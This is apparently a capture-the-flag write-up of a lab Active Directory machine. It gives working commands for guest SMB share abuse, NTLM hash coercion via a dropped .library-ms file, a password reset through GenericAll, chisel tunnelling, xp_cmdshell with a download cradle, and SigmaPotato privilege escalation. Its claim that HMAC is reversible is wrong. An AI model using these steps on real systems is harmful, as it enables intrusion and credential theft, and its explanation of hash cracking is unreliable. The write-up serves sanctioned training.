Overview

The machine starts by abusing a guest-accessible SMB share with write permissions, dropping a .library-ms file to coerce an authentication and capture a user's NetNTLMv2 hash with Responder, which cracks offline with hashcat to get valid credentials. That user has GenericAll over another account, so we reset its password to get WinRM access and the user flag, then pivot to a locally-bound MSSQL instance via chisel port forwarding, enable xp_cmdshell, and get a shell as the SQL service account. That account holds SeImpersonatePrivilege, which we abuse with SigmaPotato to get shell as NT SYSTEM and the root flag.


Objective: You're a penetration tester on the Hack Smarter Red Team. Your mission is to infiltrate and seize control of the client's entire Active Directory environment. This isn't just a test; it's a full-scale assault to expose and exploit every vulnerability.

Initial Access: For this engagement, you've been granted direct access to the internal network but no credentials.

Execution: Your objective is simple but demanding: enumerate, exploit, and own. Your ultimate goal is not just to get in, but to achieve a full compromise, elevating your privileges until you hold the keys to the entire domain.

Enumeration

We start with an nmap scan

This is an AD environment

  • Domain name is hack.smarter and hostname is DC01
  • No HTTP, or RDP
  • WinRM is open though
  • No clock-skew in case we need to deal with Kerberos

Let's first add an entry in the hosts file

bash
┌─[]─[10.200.83.180]─[jimmex@attacker]─[~/HSM/ShareThePainAD]
└──╼ [★]$ echo '10.1.102.255 DC01.hack.smarter DC01 hack.smarter' | sudo tee -a /etc/hosts
10.1.102.255 DC01.hack.smarter DC01 hack.smarter

SMB

There isn't any HTTP ports open (as far as we know), no FTP, NTFS or anything. We're not given any initial credentials either, so our ways in got fewer and fewer. One of the ways to get in is through SMB using the Guest account

bash
┌─[]─[10.200.83.180]─[jimmex@attacker]─[~/HSM/ShareThePainAD]
└──╼ [★]$ nxc smb 10.1.102.255 -u 'Guest' -p ''
SMB 10.1.102.255 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hack.smarter) (signing:True) (SMBv1:False) (Nu
ll Auth:True) (DC:True)
SMB 10.1.102.255 445 DC01 [+] hack.smarter\Guest:

Because the guest account is valid now we can enumerate the shares and what kind of access we have over them.

We find a non-standard share called Share where we have read/write access.

bash
┌─[]─[10.200.83.180]─[jimmex@attacker]─[~/HSM/ShareThePainAD]
└──╼ [★]$ nxc smb 10.1.102.255 -u 'Guest' -p '' --shares
SMB 10.1.102.255 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hack.smarter) (signing:True) (SMBv1:False) (Nu
ll Auth:True) (DC:True)
SMB 10.1.102.255 445 DC01 [+] hack.smarter\Guest:
SMB 10.1.102.255 445 DC01 [*] Enumerated shares
SMB 10.1.102.255 445 DC01 Share Permissions Remark
SMB 10.1.102.255 445 DC01 ----- ----------- ------
SMB 10.1.102.255 445 DC01 ADMIN$ Remote Admin
SMB 10.1.102.255 445 DC01 C$ Default share
SMB 10.1.102.255 445 DC01 IPC$ READ Remote IPC
SMB 10.1.102.255 445 DC01 NETLOGON Logon server share
SMB 10.1.102.255 445 DC01 Share READ,WRITE
SMB 10.1.102.255 445 DC01 SYSVOL Logon server share

First we start by looking if there are any files leaking anything, but the share is empty so we move on to abuse the write access.

bash
┌─[]─[10.200.83.180]─[jimmex@attacker]─[~/HSM/ShareThePainAD]
└──╼ [★]$ smbclient.py hack.smarter/'Guest':''@hack.smarter
Impacket v0.14.0.dev0+20260814.164800.c23b3d55 - Copyright Fortra, LLC and its affiliated companies

Password:
Type help for list of commands
# use Share
# ls
drw-rw-rw- 0 Mon Sep 15 18:59:57 2025 .
drw-rw-rw- 0 Fri Sep 5 23:46:21 2025 ..
# exit

Access as bob.ross

One of the ways to abuse the write access over a share is to drop a file that invokes authentication to an SMB server we control, leaking the NTLMv2 hashes. A lot of files do this, like .lnk, .url, and lately .library-ms. Let's first try using .library-ms; NXC has a module for this which we'll use to drop the file.

bash
┌─[]─[10.200.83.180]─[jimmex@attacker]─[~/HSM/ShareThePainAD]
└──╼ [★]$ nxc smb 10.1.102.255 -u Guest -p '' -M drop-library-ms -o SERVER=10.200.83.180 NAME=invoke
SMB 10.1.102.255 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hack.smarter) (signing:True) (SMBv1:False) (Nu
ll Auth:True) (DC:True)
SMB 10.1.102.255 445 DC01 [+] hack.smarter\Guest:
SMB 10.1.102.255 445 DC01 [*] Enumerated shares
SMB 10.1.102.255 445 DC01 Share Permissions Remark
SMB 10.1.102.255 445 DC01 ----- ----------- ------
SMB 10.1.102.255 445 DC01 ADMIN$ Remote Admin
SMB 10.1.102.255 445 DC01 C$ Default share
SMB 10.1.102.255 445 DC01 IPC$ READ Remote IPC
SMB 10.1.102.255 445 DC01 NETLOGON Logon server share
SMB 10.1.102.255 445 DC01 Share READ,WRITE
SMB 10.1.102.255 445 DC01 SYSVOL Logon server share
DROP-LIB... 10.1.102.255    445    DC01             [+] Found writable share : Share
DROP-LIB... 10.1.102.255    445    DC01             [+] Created .library-ms file on share 'Share'

As you can see, once we drop the file, Responder (which we ran using sudo responder -I tun0) caught bob.ross's NTLMv2 hash.

The thing about NTLMv2 hashes is that they're generated using the actual NTLM hash of the user to HMAC the challenge generated by the server, and in this case we controlled the server, so we have the challenge sent to the client (that we invoked). Once the client gets that challenge, it HMACs the challenge with the NTLM hash, then sends the result of this to the server, which is the NTLMv2 hash we got.

HMAC is a hash-based operation, so it is reversible. So we have the challenge and the result of the challenge + NTLM hash, and you can do the math.

Using hashcat to crack the NTLMv2 hash

Validating the credential

bash
┌─[]─[10.200.83.180]─[jimmex@attacker]─[~/HSM/ShareThePainAD]
└──╼ [★]$ nxc smb 10.1.102.255 -u bob.ross -p '137Password123!@#'
SMB 10.1.102.255 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hack.smarter) (signing:True) (SMBv1:False) (Nu
ll Auth:True) (DC:True)
SMB 10.1.102.255 445 DC01 [+] hack.smarter\bob.ross:137Password123!@#

Collecting BloodHound data

I use rusthound + bloodhound.py (because rusthound misses some self-edge cases)

bash
┌─[]─[10.200.83.180]─[jimmex@attacker]─[~/HSM/ShareThePainAD]
└──╼ [★]$
┌─[]─[10.200.83.180]─[jimmex@attacker]─[~/HSM/ShareThePainAD]
└──╼ [★]$ bloodhound-ce-python -d hack.smarter -u bob.ross -p '137Password123!@#' -ns 10.1.102.255 --dns-tcp -dc DC01.hack.smarter -c All --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: hack.smarter
INFO: Getting TGT for user
INFO: Connecting to LDAP server: DC01.hack.smarter
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: DC01.hack.smarter
INFO: Found 7 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.hack.smarter
INFO: Done in 00M 30S
INFO: Compressing output into 20260820074412_bloodhound.zip

Shell as alice.wonderland

Looking at the BloodHound data, bob.ross has GenericAll over the user alice.wonderland.

Having GenericAll over any object in AD means taking over that object eventually, one way or another. In this case I will take the easiest route, which is changing the user's password.

In actual pentesting you must try to abuse it another way first; if you can only change the password, ask for permission before you do.

Changing alice.wonderland's password using the permissions we have over it

bash
┌─[]─[10.200.83.180]─[jimmex@attacker]─[~/HSM/ShareThePainAD]
└──╼ [★]$ bloodyAD --host 10.1.102.255 -u bob.ross -p '137Password123!@#' -d hack.smarter set password alice.wonderland Password123
[+] Password changed successfully!

As we saw earlier, alice.wonderland is a member of the Remote Management Users group, and WinRM is open, so we can get a shell on the target.

Getting a shell using evil-winrm, we find the user flag

bash
┌─[]─[10.200.83.180]─[jimmex@attacker]─[~/HSM/ShareThePainAD]
└──╼ [★]$ evil-winrm -i 10.1.102.255 -u alice.wonderland -p Password123

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\alice.wonderland\Documents> type ..\Desktop\user.txt
bWFkZV9pdF90aGlzX2Zhcgo=
*Evil-WinRM* PS C:\Users\alice.wonderland\Documents> exit

Info: Exiting with code 0

MSSQL as alice.wonderland

Looking around after having the user flag, I find the SQLExpress directory, but I don't remember seeing port 1433 open on the initial scan, so there's a good chance it's running locally only.

Checking the open ports, Windows opens a lot of ports so we grep for LISTENING ports and 127 for local ports only.

As you can see, port 1433 is open. We can use sqlcmd from here, but port forwarding is easier.

bash
*Evil-WinRM* PS C:\> netstat -ano | findstr LISTENING | findstr 127
  TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 2260
  TCP 127.0.0.1:1433 0.0.0.0:0 LISTENING 4148
  TCP 127.0.0.1:56517 0.0.0.0:0 LISTENING 4148

First we start the chisel server for reverse connections

bash
┌─[]─[10.200.83.180]─[jimmex@attacker]─[~/HSM/ShareThePainAD]
└──╼ [★]$ ./chisel server --reverse --port 8001
2026/08/20 08:21:52 server: Reverse tunnelling enabled
2026/08/20 08:21:52 server: Fingerprint 1pr/+AisusOT+pkS4UJAqlM6JIjJBsdL+sQuc+yOy20=
2026/08/20 08:21:52 server: Listening on http://0.0.0.0:8001

Then from the target we connect, exposing port R:1433 (on the attacker) and forwarding anything from this port to 127.0.0.1:1433 (the local port on the target)

bash
*Evil-WinRM* PS C:\Users\alice.wonderland\Documents> .\chisel.exe client 10.200.83.180:8001 R:1433:127.0.0.1:1433
chisel.exe : 2026/08/20 05:23:14 client: Connecting to ws://10.200.83.180:8001
    + CategoryInfo          : NotSpecified: (2026/08/20 05:2...200.83.180:8001:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
2026/08/20 05:23:15 client: Connected (Latency 146.3451ms)

Shell as nt service\mssql$sqlexpress

After logging into MSSQL as alice.wonderland (mssqlclient.py localhost/alice.wonderland:Password123@127.0.0.1), using enable_xp_cmdshell we find that we can enable it, meaning we can run commands on the target in the context of the user running the service.

So we use a base64 encoded web cradle command to download shell.ps1 hosted on our device and execute it in RAM using IEX, and we get a shell, as you can see.

Shell as System

Once we are in as the SQL service account, most of those accounts have SeImpersonatePrivilege, which is an express route to NT\SYSTEM.

SeImpersonatePrivilege (Impersonate a client after authentication) is a Windows security right. It allows a running process to take on the security identity and permissions of another user or account. This helps legitimate services do work on behalf of connected clients.

Why does MSSQL need this? Microsoft SQL Server (MSSQL) needs SeImpersonatePrivilege primarily to support Windows Authentication and process requests on behalf of the users connecting to it.

bash
PS C:\Windows\system32> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

One of the exploits for this is SigmaPotato, which I've been using a lot lately, so I uploaded it and sent a reverse shell to Penelope (which has a multiplexer).

Now we can detach from the last session using ctrl+a+d and enter session 2, which is the NT\SYSTEM session.

And we get the root flag

bash
PS C:\Temp> type C:\Users\Administrator\Desktop\root.txt
YWxsIGFib3V0IHRoYXQgcm9vdCwgYm91dCB0aGF0IHJvb3QsIEpVU1QgREEK
PS C:\Temp>

Path

Pasted image 20260821180757.png

Resources